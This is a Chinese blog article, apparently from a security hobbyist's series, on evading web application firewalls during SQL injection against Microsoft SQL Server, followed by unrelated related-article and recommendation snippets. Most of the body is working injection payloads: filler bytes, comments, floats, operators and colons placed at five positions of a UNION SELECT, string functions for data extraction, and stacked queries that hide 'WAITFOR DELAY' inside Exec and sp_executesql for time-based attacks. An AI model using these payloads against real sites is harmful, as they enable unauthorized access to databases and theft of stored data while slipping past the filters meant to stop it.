WAF Bypass数据库特性(MSsql探索篇)
0x01 背景
探索玩了Mysql特性,继续来探索一下MSsql特性。
0x02 测试
常见有5个位置即:select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
位置一:参数和union之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)浮点数
select * from admin where id=1.1union select 1,'2',db_name() from admin
(4)1E0的形式:
select * from admin where id=1e0union select 1,'2',db_name() from admin
(5)运算符
包括加(+)、减(-)、乘(*)、除(/)、求于(%)、位与(&)、位或(|)、位异或(^)
select username,password,id from admin where id=1-1union select '1',system_user,3 from admin
select username,password,id from admin where id=1e-union select '1',system_user,3 from admin
(6)小区别:
ASPX:[0x00-0x20]、ox2e、[0x30-0x39]、ox45、ox65、[0x80-0xff]、运算符
ASP: [0x01-0x20]、ox2e、[0x30-0x39]、ox45、ox65、运算符
单引号:select username,password,id from admin where id=1 and '1'like'1'union select null,null,null
位置二:union和select之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
: %3a 冒号
select * from admin where id=1 union:select 1,'2',db_name() from:admin
ASPX:[0x00-0x20]、0x3a、[0x80-0xff]要组合前面的两个才能执行,如%3a%a0、%a0%0a
ASP: [0x01-0x20] 、0x3a
位置三:select和查询参数之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
%2b + select * from admin where id=1 union select+1,'2',db_name() from admin
%2d - select * from admin where id=1 union select-1,'2',db_name() from admin
%2e . select * from admin where id=1 union select.1,'2',db_name() from admin
%3a : select * from admin where id=1 union select:1,'2',db_name() from admin
%7e ~ select * from admin where id=1 union select~1,'2',db_name() from admin
位置四:查询参数和from之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
ASP: [0x01-0x20]、0x2e、[0x30-0x39]、0x45、0x65、[0x80-0xff]
ASPX:[0x00-0x20]、0x2e、[0x30-0x39]、0x45、0x65、
id=1%20union%20select%201,'2',db_name()%80from%20admin
db_name与()中间 %00-%20 %80-%ff填充
id=1 union select 1,'2',db_name+() from admin
位置五:from后面的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
: %3a select * from admin where id=1 union:select 1,'2',db_name() from:admin
. %2e select * from admin where id=1 union select 1,'2',db_name() from.information_schema.SCHEMATA
ASP: [0x01-0x20]、0x2e、0x3a
ASPX: [0x00-0x20]、0x2e、0x3a、[0x80-0xff]
0x03 函数
(1)字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
(2)字符串转换函数
Ascii(‘a’)
Char(‘97’)
这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
(3) 其他方式
利用存储过程
mssql的存储过程定义为:
Declare @s varchar(5000) //申明变量@s 类型为varchar(5000)
Set @ //给@s变量赋值
Exec(@s) //执行@s
id=1;Exec('WA'+'ITFOR DELAY ''0:0:5''')
id=1;declare @test nvarchar(50);set @test='wait'+'for delay ''0:0:5''';exec sp_executesql @test
持续更新中。。。。。。。。。
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

WAF Bypass数据库特性(MSsql探索篇)的更多相关文章
- WAF Bypass数据库特性(Mysql探索篇)
0x01 背景 Mysql数据库特性探索,探索能够绕过WAF的数据库特性. 0x02 测试 常见有5个位置即: SELECT * FROM admin WHERE username = 1[位置一 ...
- WAF Bypass数据库特性(Access探索篇)
0x01 背景 无聊,测试了一下access特性 0x02 测试 常见有5个位置即:select * from admin where id=1[位置一]union[位置二]select[位置三]1, ...
- WAF Bypass数据库特性(Oracle探索篇)
0x01 背景 oracle与mysql特性类似,半自动化fuzz了一下,记录成果. 0x02 测试 位置一:参数和union之间的位置 1)空白字符 Oracle中可以利用的空白字符有: %00 ...
- WAF Bypass 笔记(SQL注入篇)
0x01 背景 waf Bypass 笔记 0x02 服务器特性 1.%特性(ASP+IIS) 在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF ...
- waf bypass
1.前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常谈的话题也没什么可写的.很多人一遇到waf就发懵,不知如何是好,能搜到的各种姿势也是然并卵.但是积累姿势的过程也是迭代的 ...
- WAF对抗-安全狗(联合查询篇)
WAF对抗-安全狗(联合查询篇) 实验环境 网站安全狗APACHE版V4.0.靶场:dvwa 为了方便对比可以在这个在线靶场申请一个dvwa https://www.vsplate.com/ mysq ...
- 我的WAF Bypass实战系列
梳理了一下自己写过的WAF Bypass相关的文章,按照编写时间顺序,整理成了一个WAF Bypass实战系列,如果你准备了解WAF攻防这一块的内容,可以来了解一下. 第一篇:<Bypass ...
- IOC容器特性注入第一篇:程序集反射查找
学习kooboo的框架发现它的注入容器方法比较特别,同样是利用MVC的注入点,但它是查找网站下面bin所有的DLL利用反射查找特性找到对应的服务注入到容器. 这样的好处很简单:完全可以不用关心IOC容 ...
- SQL数据库基础知识-巩固篇<一>
SQL数据库基础知识-巩固篇<一>... =============== 首先展示两款我个人很喜欢的数据库-专用于平时个人SQL技术的练习<特点:体积小,好安装和好卸载,功能完全够用 ...
随机推荐
- 自然语言交流系统 phxnet团队 创新实训 项目博客 (三)
语音转文本部分是调用的科大讯飞的在线语音,它的激发方式是按键,通过按钮触发开启安卓设备的录音,此部分需要在源码中写入关于安卓权限的要求,来调用安卓的录音权限,当按钮被激发,则开始进入语音录制阶段,将麦 ...
- github开源库(二)
21.drag-sort-listview DragSortListView(DSLV)是Android ListView的一个扩展,支持拖拽排序和左右滑动删除功能.重写了TouchIntercept ...
- 【转】C#解析Json Newtonsoft.Json
Newtonsoft.Json源码 Newtonsoft.Json介绍 在做开发的时候,很多数据交换都是以json格式传输的.而使用Json的时候,我们很多时候会涉及到几个序列化对象的使用:DataC ...
- 第三百七十九节,Django+Xadmin打造上线标准的在线教育平台—xadmin的安装
第三百七十九节,Django+Xadmin打造上线标准的在线教育平台—xadmin的安装 xadmin介绍 xadmin是基于Django的admin开发的更完善的后台管理系统,页面基于Bootstr ...
- Eclipse JUnit简单示例
在本节中,我们将看到一个简单的JUnit例子. 先创建一个工程,名称为:CalculateTest,并在这个工程上点击右键,选择:Build Path -> Add Library -> ...
- e835. 使JTabbedPane中的卡片生效和失效
By default, all new tabs are enabled, which means the user can select them. A tab can be disabled to ...
- e794. 创建JSlider组件
// Create a horizontal slider with min=0, max=100, value=50 JSlider slider = new JSlider(); // Creat ...
- Unity---------Mesh理解
Mesh顾名思义“网格”,Unity3D里面所有的模型都是由Mesh组成的,UI也不例外. 例如下图,模型上的一个个小网格就是Mesh,这些Mesh有不同的三维顶点(Vector3),共同组成了一个3 ...
- Websphere多个应用session相互覆盖问题解决办法
原文链接:http://my.oschina.net/moyuqi/blog/98475 使用apache反向代理解决在应用A使用Iframe嵌入应用B的功能而产生的跨域问题后,应用B的功能能正常使用 ...
- Yii2 中cookie的用法(1)
Yii使用 yii\web\Cookie对象来代表每个cookie,yii\web\Request 和 yii\web\Response 通过名为’cookies’的属性维护一个cookie集合, 前 ...